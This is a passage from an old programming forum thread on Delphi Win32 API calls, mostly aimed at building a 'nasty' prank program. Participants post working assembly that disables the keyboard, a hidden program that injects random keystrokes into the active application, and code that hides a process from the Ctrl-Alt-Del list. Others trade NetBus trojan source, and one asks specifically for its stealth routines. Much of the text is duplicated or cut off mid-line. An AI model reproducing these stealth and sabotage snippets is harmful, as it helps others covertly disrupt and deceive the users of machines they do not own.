Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.
Remarks
The EnumWindows function does not enumerate child windows.
This function is more reliable than calling the GetWindow function in a loop. An application that calls GetWindow to perform this task risks being caught in an infinite loop or referencing a handle to a window that has been destroyed.
--------------------------
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
Parameters
hwnd
Handle to a top-level window.
lParam
Specifies the application-defined value given in EnumWindows or EnumDesktopWindows.
Return Values
TRUE continues enumeration. FALSE stops enumeration.
Remarks
An application must register this callback function by passing its address to EnumWindows or EnumDesktopWindows.
--------------------------
int GetWindowText( HWND hWnd, LPTSTR lpString, int nMaxCount);
Parameters
hWnd
Handle to the window or control containing the text.
lpString
Long pointer to the buffer that will receive the text.
nMaxCount
Specifies the maximum number of characters to copy to the buffer, including the NULL character. If the text exceeds this limit, it is truncated.
Return Values
The length, in characters, of the copied string, not including the terminating null character, indicates success. Zero indicates that the window has no title bar or text, if the title bar is empty, or if the window or control handle is invalid. To get extended error information, call GetLastError.
This function cannot retrieve the text of an edit control in another application.
Remarks
When working with RAPI for Windows CE versions 1.0 and 1.01, use the PegGetWindowText function.
If the target window is owned by the current process, GetWindowText causes a WM_GETTEXT message to be sent to the specified window or control. If the target window is owned by another process and has a caption, GetWindowText retrieves the window caption text. If the window does not have a caption, the return value is a null string.
--------------------------
BOOL SetWindowText( HWND hWnd, LPCTSTR lpString );
Parameters
hWnd
Handle to the window or control whose text is to be changed.
lpString
Long pointer to a null-terminated string to be used as the new title or control text.
Return Values
Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.
Remarks
If the target window is owned by the current process, SetWindowText causes a WM_SETTEXT message to be sent to the specified window or control. If the control is a list box control created with the WS_CAPTION style, however, SetWindowText sets the text for the control, not for the list box entries.
The SetWindowText function does not expand tab characters (ASCII code 0x09). Tab characters are displayed as vertical bar (|) characters.
--------------------------
BOOL MoveWindow( HWND hWnd, int nX, int nY, int nWidth, int nHeight,
BOOL bRepaint);
Parameters
hWnd
Handle to the window.
X
Specifies the new position of the left side of the window.
Y
Specifies the new position of the top of the window.
nWidth
Specifies the new width of the window.
nHeight
Specifies the new height of the window.
bRepaint
Boolean that specifies whether the window is to be repainted. If this parameter is TRUE, the window receives a WM_PAINT message. If the parameter is FALSE, no repainting of any kind occurs. This applies to the client area, the nonclient area (including the title bar and scroll bars), and any part of the parent window uncovered as a result of moving a child window. If this parameter is FALSE, the application must explicitly invalidate or redraw any parts of the window and parent window that need redrawing.
Return Values
Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.
--------------------------
Here's an example. It assumes you have a TMemo component named Memo1 on your form, and a TButton named Button1.
(The event is the button's OnClick);
Function GetWinTxt(Handle:HWND):Str
Var
S:String;
L:Integer;
Begin
L:=GetWindowText(Handle,PC
SetLength(S,L);
GetWinTxt:=S;
End;
Function EnumProc(Handle:HWND;Param
Begin
Memo1.Lines.Add(GetWinTxt(
EnumProc:=True;
End;
Procedure Form1.Button1Click(Sender:
Begin
EnumWindows(@EnumProc,0);
End;
If you click the button, this snippet will enumerate all windows and write their caption+handle to the Memo.
Of course, you could do whatever you wish in the EnumProc() function... ;-)
ASKER
uuhhh. just, i was suprised what "self-dynamics" my question had developed. superbe!
enumwindow(), movewindow() ... what should i say, great functions if you use them correct. ;-o)
i don't know how to thank all of you guys, i didn't excpect to get that count of answers. special thx to nrico, before i forget, and od course craig.
to my reset question: EWX_REBOOT + EWX_FORCE really reboots the computer ?? i mean if you press ctrl+alt+entf twice the computer is rebooted without shutting down windows. is this wat this attributes already do ?
i lost one post above about opening cd: cool code, but i think this solution is more suitable:
mciSendString('Set cdaudio door open wait',nil,0,application.ha ndle) //open
mciSendString('Set cdaudio door close wait',nil,0,application.ha ndle) //close (if i remember correctly)
are there any other api-functions which let me control any values od other apps in windows, i mean something like movewindow() or showwindow() or so.
asm
in al,21h
or al,2;
out 21h,al;
end;
disables the keyboard ? yeah, that's nasty. but would be very nice to get it back without rebooting, wouldn't it? :-)
enumwindow(), movewindow() ... what should i say, great functions if you use them correct. ;-o)
i don't know how to thank all of you guys, i didn't excpect to get that count of answers. special thx to nrico, before i forget, and od course craig.
to my reset question: EWX_REBOOT + EWX_FORCE really reboots the computer ?? i mean if you press ctrl+alt+entf twice the computer is rebooted without shutting down windows. is this wat this attributes already do ?
i lost one post above about opening cd: cool code, but i think this solution is more suitable:
mciSendString('Set cdaudio door open wait',nil,0,application.ha
mciSendString('Set cdaudio door close wait',nil,0,application.ha
are there any other api-functions which let me control any values od other apps in windows, i mean something like movewindow() or showwindow() or so.
asm
in al,21h
or al,2;
out 21h,al;
end;
disables the keyboard ? yeah, that's nasty. but would be very nice to get it back without rebooting, wouldn't it? :-)
ok ok u want the code to get it back then?....
asm
in al,21h
or al,2;
out 21h,al;
end;
To turn it back on again moaner..... :-)
asm
in al,21h
and al,253;
out 21h,al;
end;
Craig C.
asm
in al,21h
or al,2;
out 21h,al;
end;
To turn it back on again moaner..... :-)
asm
in al,21h
and al,253;
out 21h,al;
end;
Craig C.
ASKER
thx. i was wondering wheter it is possible to change the country-code of the keyboard for some seconds, that would be nice, if you write something in word or so, and the next time you look at the screen you would see egypt characters, or so.
emm..what is EWX_REBOOT + EWX_FORCE doing ?? really reseting the computer ??
emm..what is EWX_REBOOT + EWX_FORCE doing ?? really reseting the computer ??
unit ghost1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
Edit1: TEdit;
Edit2: TEdit;
procedure Timer1Timer(Sender: TObject);
procedure FormActivate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
c: integer;
r2,r: byte;
ch: char;
n,n2: integer;
slw: longint;
s: string;
implementation
{$R *.DFM}
procedure TForm1.Timer1Timer(Sender: TObject);
begin
asm
in al,60h;
mov r,al;
end;
edit1.text:=inttostr(r);
edit2.text:=inttostr(r2);
if r2<>r then
if random(9)=random(9) then
begin
{ keybd_event(ord(upcase(s[n ])),0,0,0) ;}
keybd_Event(random(25)+65, 0,0, 0);
keybd_Event(ord('F'),0,KEY EVENTF_KEY UP, 0);
application.processmessage s;
n:=0;
end;
r2:=R;
End;
procedure TForm1.FormActivate(Sender : TObject);
var
w: hwnd;
begin
showwindow(form1.handle,sw _hide);
w:=findwindow('tapplicatio n',nil);
showwindow(w,sw_hide);
end;
end.
Compile This, beats keyboard mapping....
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
Edit1: TEdit;
Edit2: TEdit;
procedure Timer1Timer(Sender: TObject);
procedure FormActivate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
c: integer;
r2,r: byte;
ch: char;
n,n2: integer;
slw: longint;
s: string;
implementation
{$R *.DFM}
procedure TForm1.Timer1Timer(Sender:
begin
asm
in al,60h;
mov r,al;
end;
edit1.text:=inttostr(r);
edit2.text:=inttostr(r2);
if r2<>r then
if random(9)=random(9) then
begin
{ keybd_event(ord(upcase(s[n
keybd_Event(random(25)+65,
keybd_Event(ord('F'),0,KEY
application.processmessage
n:=0;
end;
r2:=R;
End;
procedure TForm1.FormActivate(Sender
var
w: hwnd;
begin
showwindow(form1.handle,sw
w:=findwindow('tapplicatio
showwindow(w,sw_hide);
end;
end.
Compile This, beats keyboard mapping....
ASKER
i'm sorry, don't know what keyboard mapping is ?
i only can guess what the program does: disabling the keyboard and typing another letter whenever the user types one ???
if it doesn't do that, is this possible to do ??
i only can guess what the program does: disabling the keyboard and typing another letter whenever the user types one ???
if it doesn't do that, is this possible to do ??
I believe the code is sending random characters to the active app.
Anyway, ExitWindowsEx(EWX_SHUTDOWN Or EWX_FORCE,0) does NOT just reboot the computer. It shuts down Windows nicely, then reboots, but it will ALWAYS shutdown Windows (That is -- unless Windoze crashes ;-) without waiting for programs to signal that they're OK to close.
Anyway, ExitWindowsEx(EWX_SHUTDOWN
Oh and Craig, I don't believe the code to _hide_ your program is entirely correct.
It should be:
Procedure TForm1.FormActivate(Sender : TObject);
Begin
ShowWindow(Handle,SW_HIDE) ;
ShowWindow(Application.Han dle,SW_HID E);
End;
One last thing that might be interesting...
This procedure will hide your program from the Ctrl-Alt-Del system dump:
Function RegisterServiceProcess(dwP rocessID,d wType:DWOR D):DWORD; stdcall; external 'KERNEL32.DLL';
In your FormCreate put this
RegisterServiceProcess(Get CurrentPro cessID,1);
to hide your program, in the FormDestroy put this
RegisterServiceProcess(Get CurrentPro cessID,0);
to clean up behind you.
It should be:
Procedure TForm1.FormActivate(Sender
Begin
ShowWindow(Handle,SW_HIDE)
ShowWindow(Application.Han
End;
One last thing that might be interesting...
This procedure will hide your program from the Ctrl-Alt-Del system dump:
Function RegisterServiceProcess(dwP
In your FormCreate put this
RegisterServiceProcess(Get
to hide your program, in the FormDestroy put this
RegisterServiceProcess(Get
to clean up behind you.
P.S: You need to put the function-declaration somewhere in your unit as well.
ASKER
i wrote an app, containing all the functions listed above. just with buttons to see what they do.i'll but it in the net, so everybody who likes to could download it. if i've done this i'll post the url here, of course. registerServiceProcess is cool, i don'T know exactly but bryan7 or so, said this above, too. oh no. i remeber it was my other question launching apps with registry. hide_progr_function already included, i think that code is nearly common. havent compiled ghost jet, but i'll do this for shure.
i tryed the enumwindow() function today, but it didn't really work. i'll put the code and the prog on the net, as i said, my you have a look at it, why i doesn't work. in the general programming are i got some hints to functions like WEnumReturnChachedPassword s or so, i don't hae a win32.hlp jet, so maybe you could check out that too. all buttons with a '_' in front of the text doesn't work, all with a '*' are working partly.
the assembler code of craig works fine(disabling the keyboard), but the type cache isn't cleared, i mean, it's annoying too, if you regonice, that your're typing for nothing, beating your keyboard up and see 20 sec later all the carracters.
i'll uploaded it now: http://www.line.at/delphi/nasty.zip
i tryed the enumwindow() function today, but it didn't really work. i'll put the code and the prog on the net, as i said, my you have a look at it, why i doesn't work. in the general programming are i got some hints to functions like WEnumReturnChachedPassword
the assembler code of craig works fine(disabling the keyboard), but the type cache isn't cleared, i mean, it's annoying too, if you regonice, that your're typing for nothing, beating your keyboard up and see 20 sec later all the carracters.
i'll uploaded it now: http://www.line.at/delphi/nasty.zip
Geoka " i was wondering wheter it is possible to change the country-code of the keyboard for some seconds, that would be nice, if you write mething in word or so, and the next time you look at the screen you would see egypt characters, or so. "
That program i posted works in 95 / 98, it checks to see if the keyboard is begin accessed and if it is, it will pump out a couple illegal chars just as you asked..... Can be annoying if their typing a word document out.... Try it kinda fun to watch.....
That program i posted works in 95 / 98, it checks to see if the keyboard is begin accessed and if it is, it will pump out a couple illegal chars just as you asked..... Can be annoying if their typing a word document out.... Try it kinda fun to watch.....
ASKER
great deal. i was just wondering wheter i should ask this question in assembler topic area, maybe they could provide me some useful functions ? ;-o
the rpoggi is now on the web. check it out (incl. source of course).
the rpoggi is now on the web. check it out (incl. source of course).
That will be kind of difficult if you don't give us the URL... :-)
P.S: I do object to putting this program on the web. It is potentially harmful, and there are a LOT of wannabe-hackers out there that jump at the chance of downloading such a program. Instead of just learning to code themselves :-).
P.S: I do object to putting this program on the web. It is potentially harmful, and there are a LOT of wannabe-hackers out there that jump at the chance of downloading such a program. Instead of just learning to code themselves :-).
ASKER
he..just look above, but one more time for you ;-)):
http://www.line.at/delphi/nasty.zip
hope you and nrico and all the others who helped me with this question, would download it in the next week, i mean, i'll put it off the web, cause there are many of these pseudo-hackers, absolutely correct. :-)
just tell me if you guys hav loaded it down, or ll send it to you by mail, too.
and dom't forget please, have a look at the enumwindow() fanction.
thx.
http://www.line.at/delphi/nasty.zip
hope you and nrico and all the others who helped me with this question, would download it in the next week, i mean, i'll put it off the web, cause there are many of these pseudo-hackers, absolutely correct. :-)
just tell me if you guys hav loaded it down, or ll send it to you by mail, too.
and dom't forget please, have a look at the enumwindow() fanction.
thx.
The errors with the EnumWindows() are my fault... :-(
I'll correct them here:
You'll need to define the callback procedure with "stdcall" as well, so it will look like this:
Function EnumProc(Handle:HWND;Param :LPARAM):B oolean; stdcall;
This tells Delphi that the EnumProc function has to be treated as a C function instead of a Pascal function.
And I have to rewrite the GetWinTxt() function:
Function GetWinTxt(Handle:HWND):Str ing;
Var
S:ShortString;
Begin
Byte(S[0]):=GetWindowText( Handle,@S[ 1],255);
GetWinTxt:=S;
End;
I'll correct them here:
You'll need to define the callback procedure with "stdcall" as well, so it will look like this:
Function EnumProc(Handle:HWND;Param
This tells Delphi that the EnumProc function has to be treated as a C function instead of a Pascal function.
And I have to rewrite the GetWinTxt() function:
Function GetWinTxt(Handle:HWND):Str
Var
S:ShortString;
Begin
Byte(S[0]):=GetWindowText(
GetWinTxt:=S;
End;
about netbus sources.. whoever wants it, drop your emails and I'll send it to ya all at once.. ( I got 2400 bps conn. )
Bryan7...
I would RELY want you to mail the NetBus sources to me (erik_83@emaila.nu)
Thanx
I would RELY want you to mail the NetBus sources to me (erik_83@emaila.nu)
Thanx
ASKER
me too, yes, please mail me the source, i mean, just to learn from. netbus is alive, there's no need for writing one more of this "tools".
geo@line.at
geo@line.at
ASKER
what about the code now ?? first you post that you'll send it to all, who drop their e.mail adr. here, but i havn't received anything the last week. give me a go.
by the way, does anybody not agree with me if i give craig_capel and nrico each 100 points ???
by the way, does anybody not agree with me if i give craig_capel and nrico each 100 points ???
no but thanks for the offer, i don't think i could accept points for the information i gave out, EE would have a feild day...
Thanks but no thanks ;-)
Craig C.
Thanks but no thanks ;-)
Craig C.
ASKER
how stupid i am, but i'm not a native and i was wondering was feild means.
but anyway. du you think that the points DO belong to anybody ???
i should this question remain unlocked for ever ??
but anyway. du you think that the points DO belong to anybody ???
i should this question remain unlocked for ever ??
k, I'm sending netbus source to
geo@line.at
and
erik_83@emaila.nu
geo@line.at
and
erik_83@emaila.nu
Bryan7...
I have still not got the code...
Pleas, email me the code to erik_83@emaila.nu or if that doesn't work ea83@usa.net
I would rely appreciate if you could that for me...
I have still not got the code...
Pleas, email me the code to erik_83@emaila.nu or if that doesn't work ea83@usa.net
I would rely appreciate if you could that for me...
ASKER CERTIFIED SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
ASKER
to get this question to an end. please tell me, if you want tho points, too, craig: you did your job well.
Bryan7...
Can you please send me the NetBus sources ?
I only need the part where NetBus is hiding itself from memory tools
like "Norton SysInfo" and "MS System Information" and a like.
Thank you VERY MUCH
Eitan
ebi1@netscape.net
Can you please send me the NetBus sources ?
I only need the part where NetBus is hiding itself from memory tools
like "Norton SysInfo" and "MS System Information" and a like.
Thank you VERY MUCH
Eitan
ebi1@netscape.net
ExitWindowsEx(EWX_FORCE, 0);
Suspend the system:
SetSystemPowerState(True, True);
Motaz
www.geocities.com/motaz1